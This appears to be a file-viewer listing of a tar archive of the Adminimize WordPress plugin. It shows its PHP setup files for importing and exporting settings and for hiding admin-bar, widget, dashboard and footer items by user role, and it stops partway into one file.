Viewing File: /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/adminimize.tar
inc-setup/import.php 0000666 00000004431 15244451347 0010515 0 ustar 00 <?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
header('HTTP/1.0 403 Forbidden');
exit('Access denied.');
}
?>
<?php
/**
* Import settings as json file.
*
* @package Adminimize
* @subpackage import
* @author Frank Bültge
* @version 2017-11-29
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
add_action( 'admin_init', '_mw_adminimize_import_json' );
/**
* Process a settings import from a json file.
*/
function _mw_adminimize_import_json() {
if ( ! is_admin() ) {
return;
}
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
// If is AJAX Call.
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return;
}
if ( empty( $_POST[ '_mw_adminimize_action' ] ) || '_mw_adminimize_import' !== $_POST[ '_mw_adminimize_action' ] ) {
return;
}
if ( ! wp_verify_nonce( $_POST[ 'mw_adminimize_import_nonce' ], 'mw_adminimize_import_nonce' ) ) {
return;
}
$path = esc_attr( $_FILES[ 'import_file' ][ 'tmp_name' ] );
$type = (string) esc_attr( $_FILES[ 'import_file' ][ 'type' ] );
$tmp = explode( '/', $type );
$extension = end( $tmp );
// Fallback, if we have no file information on server.
$extension_types = array( 'octet-stream' );
if ( in_array( $extension, $extension_types, false ) ) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
$extension = $finfo->file( $_FILES[ 'import_file' ][ 'tmp_name' ] );
}
$extension_allow = array( 'json', 'text/plain', 'text/html' );
if ( false !== $extension && ! in_array( $extension, $extension_allow, false ) ) {
wp_die(
sprintf(
esc_attr__( 'Please upload a valid .json file, Extension check. Your file have the extension %s.', 'adminimize' ),
'<code>' . $extension . '</code>'
)
);
}
if ( empty( $path ) || ! is_readable( $path ) ) {
wp_die(
sprintf(
esc_attr__( 'It is not possible to find a file in %s', 'adminimize' ),
$path
)
);
}
// Retrieve the settings from the file and convert the json object to an array.
$settings = json_decode( file_get_contents( $path ), true );
unlink( $path );
_mw_adminimize_update_option( $settings );
wp_safe_redirect( esc_url( site_url('/wp-admin/options-general.php?page=adminimize-options') ) );
exit();
}
inc-setup/remove-admin-bar.php 0000666 00000021270 15244451347 0012330 0 ustar 00 <?php
/**
* Functions to remove the admin bar.
*
* @package Adminimize
* @subpackage Remove Admin Bar of > WP 3.3 Setup
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
// on init of WordPress.
add_action( 'init', '_mw_adminimize_remove_admin_bar', 0 );
/**
* Change the var of Admin Bar in WP 3.3
*
* @param array $admin_bar_keys
*/
function _mw_adminimize_customize_admin_bar( array $admin_bar_keys ) {
if ( ! is_admin_bar_showing() ) {
return;
}
/**
* Reference to the doc to know the method.
*
* @var \WP_Admin_Bar $wp_admin_bar
*/
global $wp_admin_bar;
foreach ( $admin_bar_keys as $key ) {
$wp_admin_bar->remove_menu( $key );
}
}
/**
* Remove my account item in admin bar >3.3
*/
function _mw_adminimize_remove_my_account() {
_mw_adminimize_customize_admin_bar( array( 'my-account' ) );
}
/**
* Add Logout link to admin abr in wp 3.3
*
* @param $wp_admin_bar WP_Admin_Bar
*/
function _mw_adminimize_add_logout( $wp_admin_bar ) {
$user_id = get_current_user_id();
$_mw_adminimize_ui_redirect = (int) _mw_adminimize_get_option_value( '_mw_adminimize_ui_redirect' );
$redirect = '';
if ( 1 === $_mw_adminimize_ui_redirect ) {
$redirect = '&redirect_to=' . get_option( 'siteurl' );
}
if ( ! $user_id ) {
return;
}
$wp_admin_bar->add_menu(
array(
'id' => 'mw-account',
'parent' => 'top-secondary',
'title' => esc_attr__( 'Log Out' ),
'href' => wp_logout_url() . $redirect,
)
);
}
/**
* Add stylesheet for see the the admin bar item also on mobile.
*/
function _mw_adminimize_admin_bar_style() {
?>
<style type="text/css">
#wpadminbar #wp-admin-bar-mw-account { display: block; }
</style>
<?php
}
/**
* Add Logout link include user info.
*
* @param $wp_admin_bar WP_Admin_Bar
*/
function _mw_adminimize_add_user_logout( $wp_admin_bar ) {
$user_id = get_current_user_id();
$current_user = wp_get_current_user();
$_mw_adminimize_ui_redirect = (int) _mw_adminimize_get_option_value( '_mw_adminimize_ui_redirect' );
$redirect = '';
if ( 1 === $_mw_adminimize_ui_redirect ) {
$redirect = '&redirect_to=' . get_option( 'siteurl' );
}
if ( ! $user_id ) {
return;
}
$user_info = $current_user->display_name;
$wp_admin_bar->add_menu(
array(
'id' => 'mw-account',
'parent' => 'top-secondary',
'title' => $user_info . ' ' . esc_attr__( 'Log Out' ),
'href' => wp_logout_url() . $redirect,
)
);
}
add_action( 'init', '_mw_adminimize_set_logout_menu', 2 );
/**
* Change logout, user info link in Admin bar.
*
* @return void
*/
function _mw_adminimize_set_logout_menu() {
if ( ! is_user_logged_in() ) {
return;
}
// exclude super admin.
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_menu_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_menu_' . $role . '_items'
);
$disabled_submenu_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_submenu_' . $role . '_items'
);
}
$_mw_adminimize_user_info = (int) _mw_adminimize_get_option_value( '_mw_adminimize_user_info' );
// change user-info.
switch ( $_mw_adminimize_user_info ) {
case 1:
add_action( 'wp_before_admin_bar_render', '_mw_adminimize_remove_my_account' );
break;
case 2:
add_action( 'wp_before_admin_bar_render', '_mw_adminimize_remove_my_account' );
add_action( 'admin_bar_menu', '_mw_adminimize_add_logout', 0 );
add_action( 'wp_head', '_mw_adminimize_admin_bar_style' );
add_action( 'admin_head', '_mw_adminimize_admin_bar_style' );
break;
case 3:
add_action( 'wp_before_admin_bar_render', '_mw_adminimize_remove_my_account' );
add_action( 'admin_bar_menu', '_mw_adminimize_add_user_logout', 0 );
add_action( 'wp_head', '_mw_adminimize_admin_bar_style' );
add_action( 'admin_head', '_mw_adminimize_admin_bar_style' );
break;
}
}
/**
* Remove Admin Bar
*
* @return void
*/
function _mw_adminimize_remove_admin_bar() {
if ( ! is_user_logged_in() ) {
return;
}
// exclude super admin.
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
$disabled_global_option_ = array();
foreach ( $user_roles as $role ) {
$disabled_global_option_[ $role ] = (array) _mw_adminimize_get_option_value(
'mw_adminimize_disabled_global_option_' . $role . '_items'
);
}
$mw_global_options = array();
$user = wp_get_current_user();
foreach ( $user_roles as $role ) {
if ( in_array( $role, $user->roles, true )
&& _mw_adminimize_current_user_has_role( $role )
) {
// Create array about all items with all affected roles, important for multiple roles.
foreach ( $disabled_global_option_[ $role ] as $global_item ) {
$mw_global_options[] = $global_item;
}
}
}
// Support Multiple Roles for users.
if ( _mw_adminimize_get_option_value( 'mw_adminimize_multiple_roles' ) && 1 < count( $user->roles ) ) {
$mw_global_options = _mw_adminimize_get_duplicate( $mw_global_options );
}
$remove_adminbar = false;
// Check for admin bar selector to set to remove the Admin Bar.
if ( _mw_adminimize_recursive_in_array( '.show-admin-bar', $mw_global_options ) ) {
$remove_adminbar = true;
}
if ( $remove_adminbar ) {
if ( ! is_admin_bar_showing() ) {
return;
}
add_filter( 'show_admin_bar', '__return_false' );
add_filter( 'wp_admin_bar_class', '__return_false' );
add_filter( 'show_wp_pointer_admin_bar', '__return_false' );
wp_deregister_script( 'admin-bar' );
wp_deregister_style( 'admin-bar' );
remove_action( 'init', '_wp_admin_bar_init' );
remove_action( 'wp_footer', 'wp_admin_bar_render', 1000 );
remove_action( 'admin_footer', 'wp_admin_bar_render', 1000 );
// maybe also: 'wp_head'.
foreach ( array( 'wp_head', 'admin_head' ) as $hook ) {
add_action(
$hook,
function() {
echo '<style>body.admin-bar, body.admin-bar #wpcontent, body.admin-bar #adminmenu {
padding-top: 0 !important;
}
html.wp-toolbar {
padding-top: 0 !important;
}</style>';
}
);
}
add_action( 'in_admin_header', '_mw_adminimize_restore_links' );
} // end if $remove_adminbar TRUE
}
/**
* Add Site Link in Menu
*/
function _mw_adminimize_restore_links() {
$_mw_adminimize_user_info = (int) _mw_adminimize_get_option_value( '_mw_adminimize_user_info' );
?>
<style type="text/css">
#mw_adminimize_admin_bar {
left: 0;
right: 0;
height: 33px;
z-index: 999;
border-bottom: 1px solid #dfdfdf;
}
#mw_adminimize_admin_bar #mw_title {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 16px;
color: #464646;
text-decoration: none;
padding-top: 8px;
display: block;
float: left;
}
#mw_adminimize_admin_bar #mw_title:hover {
text-decoration: underline;
}
#mw_adminimize_admin_bar #mw_adminimize_login {
padding: 8px 15px 0 0;
display: block;
float: right;
}
</style>
<div id="mw_adminimize_admin_bar">
<?php
echo '<a id="mw_title" href="' . home_url() . '" title="' . esc_attr__(
get_bloginfo( 'name' )
) . '" target="_blank">' . get_bloginfo( 'name' ) . '</a>';
?>
<div id="mw_adminimize_login">
<?php
$current_user = wp_get_current_user();
if ( empty( $_mw_adminimize_user_info ) || 0 === $_mw_adminimize_user_info
|| 3 === $_mw_adminimize_user_info
) {
if ( ! ( $current_user instanceof WP_User ) ) {
return;
}
echo ' ' . $current_user->user_login . ' ';
if ( is_multisite() && is_super_admin() ) {
if ( ! is_network_admin() ) {
echo '| <a href="' . network_admin_url() . '" title="' . esc_attr__(
'Network Admin'
) . '">' . esc_attr__( 'Network Admin' ) . '</a>';
} else {
echo '| <a href="' . get_dashboard_url( get_current_user_id() ) . '" title="' . esc_attr__(
'Site Admin'
) . '">' . esc_attr__( 'Site Admin' ) . '</a>';
}
}
}
if ( empty( $_mw_adminimize_user_info ) || 0 === $_mw_adminimize_user_info
|| 2 === $_mw_adminimize_user_info
|| 3 === $_mw_adminimize_user_info
) {
?>
|
<?php
echo '<a href="' . wp_logout_url() . '" title="' . esc_attr__(
'Log Out'
) . '">' . esc_attr__(
'Log Out'
) . '</a>';
}
?>
</div>
</div>
<?php
}
inc-setup/footer.php 0000666 00000002221 15244451347 0010474 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Remove the footer area of the back end.
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
add_action( 'init', '_mw_adminimize_remove_footer' );
/**
* Check settings for enqueue scripts.
*/
function _mw_adminimize_remove_footer() {
// Exclude super admin.
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Leave the settings screen from Adminimize to see all areas on settings, also on AJAX requests.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
if ( 1 !== (int) _mw_adminimize_get_option_value( '_mw_adminimize_footer' ) ) {
return;
}
add_action( 'admin_init', '_mw_adminimize_enqueue_remove_footer' );
}
/**
* Enqueue script to remove admin footer area.
*/
function _mw_adminimize_enqueue_remove_footer() {
$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
wp_enqueue_script(
'_mw_adminimize_remove_footer',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/remove_footer' . $suffix . '.js',
array( 'jquery' )
);
}
inc-setup/messages.php 0000666 00000003743 15244451347 0011017 0 ustar 00 <?php
/**
* some basics for message
*/
if ( ! function_exists( 'add_action' ) ) {
die( "Hi there! I'm just a part of plugin, not much I can do when called directly." );
}
// Need only on admin area
if ( ! is_admin() ) {
return;
}
// If is AJAX Call.
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return;
}
class _mw_adminimize_message_class {
/**
* constructor
*/
public function __construct() {
$this->errors = new WP_Error();
$this->initialize_errors();
}
/**
* get_error - Returns an error message based on the passed code
* Parameters - $code (the error code as a string)
*
* @param string $code
*
* @return string $errorMessage
*/
public function get_error( $code = '' ) {
$errorMessage = $this->errors->get_error_message( $code );
if ( NULL === $errorMessage ) {
return esc_attr__( 'Unknown error.', 'adminimize' );
}
return $errorMessage;
}
/**
* Initializes all the error messages
*/
public function initialize_errors() {
$this->errors->add( '_mw_adminimize_update', esc_attr__( 'The updates were saved.', 'adminimize' ) );
$this->errors->add(
'_mw_adminimize_access_denied',
esc_attr__( 'You have not enough rights to edit entries in the database.', 'adminimize' )
);
$this->errors->add(
'_mw_adminimize_import', esc_attr__( 'All entries in the database were imported.', 'adminimize' )
);
$this->errors->add(
'_mw_adminimize_uninstall', esc_attr__( 'All entries in the database were deleted.', 'adminimize' )
);
$this->errors->add(
'_mw_adminimize_uninstall_yes', esc_attr__( 'Set the checkbox on deinstall-button.', 'adminimize' )
);
$this->errors->add(
'_mw_adminimize_get_option', esc_attr__( 'Can\'t load menu and submenu.', 'adminimize' )
);
$this->errors->add( '_mw_adminimize_set_theme', esc_attr__( 'Backend-Theme was activated!', 'adminimize' ) );
$this->errors->add(
'_mw_adminimize_load_theme', esc_attr__( 'Load user data to themes was successful.', 'adminimize' )
);
}
} // end class inc-setup/export.php 0000666 00000006147 15244451347 0010532 0 ustar 00 <?php
/**
* Export settings as json file.
*
* @package Adminimize
* @subpackage export
* @author Frank Bültge
* @version 2017-04-13
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
add_action( 'admin_init', '_mw_adminimize_export_json' );
add_action( 'admin_init', '_mw_adminimize_export_role_json' );
/**
* Process a settings export that generates a .json file of the shop settings.
*/
function _mw_adminimize_export_json() {
if ( ! is_admin() ) {
return;
}
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
// If is AJAX Call.
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return;
}
if ( empty( $_POST[ '_mw_adminimize_export' ] ) || 'true' !== $_POST[ '_mw_adminimize_export' ] ) {
return;
}
require_once ABSPATH . 'wp-includes/pluggable.php';
if ( ! wp_verify_nonce( $_POST[ 'mw_adminimize_export_nonce' ], 'mw_adminimize_export_nonce' ) ) {
return;
}
$settings = _mw_adminimize_get_option_value();
$filepath = 'mw_adminimize-settings-export-' . date( 'm-d-Y' ) . '.json';
ignore_user_abort( TRUE );
nocache_headers();
header( 'Cache-Control: public' );
header( 'Content-Type: application/json; charset=utf-8' );
header( 'Content-Transfer-Encoding: binary' );
header( 'Content-Disposition: attachment; filename=' . $filepath );
//header( 'Content-Length: ' . filesize( $filepath ) );
header( 'Expires: 0' );
echo wp_json_encode( $settings );
exit();
}
/**
* Process a settings export for one or many roles that generates a .json file of the shop settings.
*
* @return array
*/
function _mw_adminimize_export_role_json() {
if ( ! is_admin() ) {
return;
}
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
// If is AJAX Call.
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return;
}
if ( empty( $_POST[ '_mw_adminimize_export_role' ] )
|| 'true' !== $_POST[ '_mw_adminimize_export_role' ]
|| empty( $_POST['select_adminimize_roles']) ) {
return;
}
require_once ABSPATH . 'wp-includes/pluggable.php';
if ( ! wp_verify_nonce( $_POST[ 'mw_adminimize_export_role_nonce' ], 'mw_adminimize_export_role_nonce' ) ) {
return;
}
$keys = [];
$adminimize_roles = $_POST['select_adminimize_roles'];
$adminimize_option = _mw_adminimize_get_option_value();
foreach( $adminimize_roles as $adminimize_role ){
$adminimize_role_keys = array_filter(
$adminimize_option, function( $option_key ) use ( $adminimize_role ){
return stripos( $option_key, '_' . $adminimize_role ) !== false;
}, ARRAY_FILTER_USE_KEY
);
if ( empty( $keys ) ){
$keys = $adminimize_role_keys;
} else {
$keys = array_merge( $keys, $adminimize_role_keys );
}
}
$filepath = 'mw_adminimize-settings-role-export-' . date( 'm-d-Y' ) . '.json';
ignore_user_abort( TRUE );
nocache_headers();
header( 'Cache-Control: public' );
header( 'Content-Type: application/json; charset=utf-8' );
header( 'Content-Transfer-Encoding: binary' );
header( 'Content-Disposition: attachment; filename=' . $filepath );
header( 'Expires: 0' );
echo wp_json_encode( $keys );
exit();
}
inc-setup/admin-footer.php 0000666 00000001637 15244451347 0011574 0 ustar 00 <?php
/**
* Add Hints in Admin Footer.
*
* @package Adminimize
* @subpackage Add Hints in Admin Footer
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
if ( ! is_admin() ) {
return;
}
// If is an AJAX Call.
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return;
}
add_action( 'admin_init', '_mw_adminimize_init_admin_footer' );
/**
* Hook in to admin footer to print message.
*/
function _mw_adminimize_init_admin_footer() {
if ( (int) _mw_adminimize_get_option_value( '_mw_adminimize_advice' ) === 1 ) {
add_action( 'in_admin_footer', '_mw_adminimize_add_admin_footer' );
}
}
/**
* Print hint in wp-footer
*/
function _mw_adminimize_add_admin_footer() {
// Filtered via post save with wp_kses()
echo _mw_adminimize_get_option_value( '_mw_adminimize_advice_txt' ) . '<br />';
}
inc-setup/widget.php 0000666 00000007156 15244451347 0010475 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Widget Setup
* @author Frank Bültge
* @since 1.8.1 01/10/2013
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
if ( ! is_admin() ) {
return;
}
// If is AJAX Call.
if ( defined('DOING_AJAX') && DOING_AJAX ) {
return;
}
function _mw_adminimize_get_all_widgets() {
global $wp_widget_factory;
if ( is_object( $wp_widget_factory ) ) {
return $wp_widget_factory->widgets;
}
return FALSE;
}
function _mw_adminimize_get_registered_widgets() {
global $wp_registered_widgets;
return $wp_registered_widgets;
}
function _mw_adminimize_get_sidebars_widgets() {
global $sidebars_widgets;
return $sidebars_widgets;
}
function _mw_adminimize_get_registered_sidebars() {
global $wp_registered_sidebars;
return $wp_registered_sidebars;
}
/**
* Doing on load of widgets.php
*
* @return void
*/
add_action( 'after_setup_theme', '_mw_adminimize_on_widgets_init' );
function _mw_adminimize_on_widgets_init() {
if ( is_admin() && 'widgets.php' === $GLOBALS[ 'pagenow' ] ) {
add_action( 'widgets_init', '_mw_adminimize_unregister_widgets' );
add_action( 'widgets_init', '_mw_adminimize_unregister_sidebars', 9999 );
}
}
/**
* Remove widgets, areas for different roles
*
* @return void
*/
function _mw_adminimize_unregister_widgets() {
// Get settings.
$adminimizeoptions = _mw_adminimize_get_option_value();
// Update settings.
_mw_adminimize_update_option( $adminimizeoptions );
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_widget_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_widget_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_widget_option_[ $role ][ '0' ] ) ) {
$disabled_widget_option_[ $role ][ '0' ] = '';
}
}
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles ) ) {
if ( _mw_adminimize_current_user_has_role( $role ) && is_array( $disabled_widget_option_[ $role ] ) ) {
foreach ( $disabled_widget_option_[ $role ] as $widgets ) {
unregister_widget( $widgets );
$GLOBALS[ 'wp_widget_factory' ]->unregister( $widgets );
//wp_unregister_sidebar_widget( 'Monster_Widget' );
}
}
} // end if user roles
}
}
/**
* Remove sidebars for different roles
*
* @return void
*/
function _mw_adminimize_unregister_sidebars() {
// Get settings.
$adminimizeoptions = _mw_adminimize_get_option_value();
// Get settings.
_mw_adminimize_update_option( $adminimizeoptions );
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_widget_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_widget_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_widget_option_[ $role ][ '0' ] ) ) {
$disabled_widget_option_[ $role ][ '0' ] = '';
}
}
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles ) ) {
if ( _mw_adminimize_current_user_has_role( $role ) && is_array( $disabled_widget_option_[ $role ] ) ) {
foreach ( $disabled_widget_option_[ $role ] as $sidebar ) {
unregister_sidebar( $sidebar );
}
}
} // end if user roles
}
}
inc-setup/meta-boxes.php 0000666 00000002612 15244451347 0011246 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Meta Boxes Setup
* @author Frank Bültge
* @since 1.8.1 01/10/2013
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
if ( ! is_admin() ) {
return;
}
// If is AJAX Call.
if ( defined('DOING_AJAX') && DOING_AJAX ) {
return;
}
// The global var is only usable on edit Post Type page
add_filter( 'do_meta_boxes', '_mw_adminimize_get_all_meta_boxes', 0, 3 );
function _mw_adminimize_get_all_meta_boxes( $post_type, $priority, $post ) {
global $wp_meta_boxes;
if ( ! empty( $wp_meta_boxes[ $post_type ] ) ) {
// get all options
$adminimizeoptions = _mw_adminimize_get_option_value();
// add meta box array for post type
$adminimizeoptions[ 'mw_adminimize_meta_boxes_' . $post_type ] = $wp_meta_boxes[ $post_type ];
// update options
_mw_adminimize_update_option( $adminimizeoptions );
}
}
function _mw_adminimize_get_meta_boxes( $post_type = null, $context = 'advanced' ) {
$saved_wp_meta_boxes = _mw_adminimize_get_option_value( 'mw_adminimize_meta_boxes_' . $post_type );
return $saved_wp_meta_boxes;
}
function _mw_adminimize_remove_meta_boxes( $id, $post_type = null, $context = 'advanced', $priority = 'default' ) {
// @TODO for each about settings
remove_meta_box( $id, $post_type, $context );
}
// remove on 'admin_menu' Hook
inc-setup/dashboard.php 0000666 00000011604 15244451347 0011132 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Dashboard Setup
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
if ( ! is_admin() ) {
return;
}
// If is AJAX Call.
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
return;
}
add_action( 'wp_dashboard_setup', '_mw_adminimize_update_dashboard_widgets', 9998 );
/**
* Write dashboard widgets in settings.
*
* @return bool
*/
function _mw_adminimize_update_dashboard_widgets() {
// Only manage options users have the chance to update the settings.
if ( ! current_user_can( 'manage_options' ) ) {
return false;
}
$adminimizeoptions = _mw_adminimize_get_option_value();
$adminimizeoptions['mw_adminimize_dashboard_widgets'] = _mw_adminimize_get_dashboard_widgets();
return _mw_adminimize_update_option( $adminimizeoptions );
}
// Return registered widgets; only on page index/dashboard :(
add_action( 'wp_dashboard_setup', '_mw_adminimize_dashboard_setup', PHP_INT_MAX );
/**
* Set dashboard widget options.
*/
function _mw_adminimize_dashboard_setup() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Get all widgets.
$widgets = _mw_adminimize_get_dashboard_widgets();
$user_roles = _mw_adminimize_get_all_user_roles();
$disabled_dashboard_option = array();
$disabled_dashboard_option_ = array();
$user = wp_get_current_user();
// Get settings for each role.
foreach ( $user_roles as $role ) {
$disabled_dashboard_option_[ $role ] = (array) _mw_adminimize_get_option_value(
'mw_adminimize_disabled_dashboard_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( in_array( $role, $user->roles, false ) && _mw_adminimize_current_user_has_role( $role )
) {
// Create array about all items with all affected roles, important for multiple roles.
foreach ( (array) $disabled_dashboard_option_[ $role ] as $dashboard_item ) {
$disabled_dashboard_option[] = $dashboard_item;
}
}
}
// Support Multiple Roles for users, if option is active.
if ( _mw_adminimize_get_option_value( 'mw_adminimize_multiple_roles' ) && 1 < count( $user->roles ) ) {
$disabled_dashboard_option = _mw_adminimize_get_duplicate( $disabled_dashboard_option );
}
// Remove the dashboards widgets for the current active role.
foreach ( $disabled_dashboard_option as $widget ) {
if ( isset( $widgets[ $widget ]['context'] ) ) {
remove_meta_box( $widget, 'dashboard', $widgets[ $widget ]['context'] );
}
}
}
add_action( 'admin_head-index.php', '_mw_adminimize_remove_custom_panels', 99 );
/**
* Add custom options to the head head to hide it via css.
*
* @since 2017-01-05
*/
function _mw_adminimize_remove_custom_panels() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
$options = _mw_adminimize_get_option_value( '_mw_adminimize_own_dashboard_values' );
if ( empty( $options ) ) {
return;
}
// Get current user data.
$user = wp_get_current_user();
if ( ! $user->roles ) {
return;
}
// Get settings for the roles.
$disabled_dashboard_option_ = array();
foreach ( $user->roles as $role ) {
$disabled_dashboard_option_[] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_dashboard_option_' . $role . '_items' );
}
// Support Multiple Roles for users.
if ( _mw_adminimize_get_option_value( 'mw_adminimize_multiple_roles' ) && 1 < count( $user->roles ) ) {
$disabled_dashboard_option_ = _mw_adminimize_get_duplicate( $disabled_dashboard_option_ );
}
if ( empty( $disabled_dashboard_option_[0] ) ) {
return;
}
$selectors = implode( ', ', $disabled_dashboard_option_[0] );
echo '<!-- Set Adminimize dashboard options -->' . "\n";
echo '<style type="text/css">' . esc_attr( $selectors ) . ' {display:none !important;}</style>' . "\n";
}
/**
* Get all registered dashboard widgets.
*
* @return array
*/
function _mw_adminimize_get_dashboard_widgets() {
global $wp_meta_boxes;
$widgets = array();
if ( ! isset( $wp_meta_boxes['dashboard'] ) ) {
return $widgets;
}
foreach ( (array) $wp_meta_boxes['dashboard'] as $context => $datas ) {
foreach ( (array) $datas as $priority => $data ) {
foreach ( (array) $data as $widget => $value ) {
if ($value === false) {
$value = [];
}
if ( ! isset( $value['title'])) {
$value['title'] = '';
}
// Some plugins create a title that contains an array, we create an empty string to prevent an error in strip_tags
if ( is_array( $value['title'])) {
$value['title'] = '';
}
$widgets[ $widget ] = array(
'id' => $widget,
'title' => strip_tags(
preg_replace( '/( |)<span.*span>/im', '', $value['title'] )
),
'context' => $context,
'priority' => $priority,
);
}
}
}
return $widgets;
}
inc-setup/admin-bar-items.php 0000666 00000006513 15244451347 0012157 0 ustar 00 <?php
/**
* Get Admin Bar items and change them.
*
* @package Adminimize
* @subpackage Admin Bar Items
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
// Get all Admin Bar items, different between front- and backend.
add_action( 'wp_before_admin_bar_render', '_mw_adminimize_get_admin_bar_nodes', 99999 );
// Render the Admin bar new, different between front- and backend.
add_action( 'wp_before_admin_bar_render', '_mw_adminimize_change_admin_bar', 99999 );
/**
* Get all admin bar items in back end and write in a options of Adminimize settings array
*
* @since 1.8.1 01/10/2013
*/
function _mw_adminimize_get_admin_bar_nodes() {
// Only Administrator get all items.
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
/**
* Link to Admin Bar class to get the methods.
*
* @var $wp_admin_bar \WP_Admin_Bar
*/
global $wp_admin_bar;
// @see: http://codex.wordpress.org/Function_Reference/get_nodes
$all_toolbar_nodes = $wp_admin_bar->get_nodes();
if ( $all_toolbar_nodes ) {
$settings = 'mw_adminimize_admin_bar_frontend_nodes';
// Set string on settings for Admin Area.
if ( is_admin() ) {
$settings = 'mw_adminimize_admin_bar_nodes';
}
// get all options.
$adminimizeoptions = (array) _mw_adminimize_get_option_value();
// add admin bar array.
$adminimizeoptions[ $settings ] = $all_toolbar_nodes;
_mw_adminimize_update_option( $adminimizeoptions );
}
}
/**
* Remove items in Admin Bar for current role of current active user in front end area
* Exclude Super Admin, if active
* Exclude Settings page of Adminimize
*
* @since 1.8.1 01/10/2013
*/
function _mw_adminimize_change_admin_bar() {
// Only for users, there logged in.
if ( ! is_user_logged_in() ) {
return;
}
// Exclude super admin.
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Exclude the new settings of the Admin Bar on settings page of Adminimize.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
// If the admin bar is not active, filtering is not necessary.
if ( ! is_admin_bar_showing() ) {
return;
}
/**
* Link to Admin Bar class to get the methods.
*
* @var $wp_admin_bar \WP_Admin_Bar
*/
global $wp_admin_bar;
// Get current user data.
$user = wp_get_current_user();
if ( ! $user->roles ) {
return;
}
$disabled_admin_bar_option_ = array();
$role_prefix = is_admin() ? 'mw_adminimize_disabled_admin_bar_' : 'mw_adminimize_disabled_admin_bar_frontend_';
foreach ( $user->roles as $role ) {
$disabled_admin_bar_option_[] = _mw_adminimize_get_option_value( $role_prefix . $role . '_items' );
}
// Merge multidimensional array in to one, flat.
$disabled_admin_bar_option_ = _mw_adminimize_array_flatten( $disabled_admin_bar_option_ );
// Support Multiple Roles for users.
if ( _mw_adminimize_get_option_value( 'mw_adminimize_multiple_roles' ) && 1 < count( $user->roles ) ) {
$disabled_admin_bar_option_ = _mw_adminimize_get_duplicate( $disabled_admin_bar_option_ );
}
// No settings for this role, exit.
if ( ! $disabled_admin_bar_option_ ) {
return;
}
foreach ( (array) $disabled_admin_bar_option_ as $admin_bar_item ) {
$wp_admin_bar->remove_node( $admin_bar_item );
}
}
inc-setup/remove-admin-notices.php 0000666 00000005024 15244451347 0013227 0 ustar 00 <?php
/**
